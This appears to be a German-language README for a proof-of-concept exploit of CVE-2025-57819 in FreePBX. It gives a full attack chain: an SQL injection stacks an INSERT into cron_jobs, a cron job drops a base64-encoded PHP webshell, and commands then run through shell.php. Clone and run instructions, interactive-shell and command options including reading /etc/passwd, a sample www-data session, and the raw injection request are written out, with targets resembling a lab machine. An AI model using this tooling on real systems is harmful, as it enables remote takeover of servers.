┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection                                               │
│    POST /admin/ajax.php?brand= → gestapelte Abfrage            │
│    INSERT INTO cron_jobs …                                     │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron-Job-Injection                                          │
│    Bösartiger Cron-Job schreibt base64-dekodiertes PHP-Webshell│
│    nach /var/www/html/shell.php                                │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell-Zugriff                                            │
│    GET /shell.php?cmd=<command> → beliebige Codeausführung     │
└────────────────────────────────────────────────────────────────┘

# Klonen
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC

# Abhängigkeit installieren
pip install requests

# Grundlegende Nutzung
python exploit.py <target>

# Nach der Injektion in die interaktive Shell wechseln
python exploit.py <target> --shell

# Einen einzelnen Befehl ausführen
python exploit.py <target> --cmd "cat /etc/passwd"

usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
                  [--param PARAM] [--no-wait] [-v]
                  target

CVE-2025-57819 – FreePBX SQLi → Cron → WebShell

positional arguments:
  target                Ziel-Hostname oder IP (mit optionalem Schema)

options:
  -h, --help            Diese Hilfemeldung anzeigen und beenden
  -p, --port PORT       Port (Standard: 80/443)
  --shell               Nach der Injektion in die interaktive Shell wechseln
  --cmd CMD             Einen einzelnen Befehl über das Webshell ausführen
  --param PARAM         Webshell-Abfragezeichenfolgen-Parameter (Standard: cmd)
  --no-wait             Die Webshell-Überprüfungsabfrage überspringen
  -v, -vv               Ausführlichkeit erhöhen (-v info, -vv debug)

# Ziel mit Standard-HTTP-Port
python exploit.py connected.htb

# Ziel mit benutzerdefiniertem Port
python exploit.py 10.10.11.100 -p 8080

# Injizieren, überprüfen und in die interaktive Shell wechseln
python exploit.py 10.10.11.100 --shell

# Injizieren und einen einzelnen Befehl ausführen
python exploit.py connected.htb --cmd "whoami"

# Die Überprüfungsabfrage überspringen (wenn Sie bereits wissen, dass die Shell aktiv ist)
python exploit.py connected.htb --no-wait --cmd "id"

# Ausführliche Ausgabe zum Debuggen
python exploit.py connected.htb -vv --shell

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell-Sitzung beendet.

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...

GET /shell.php?cmd=id

DELETE FROM cron_jobs WHERE command LIKE '%base64%';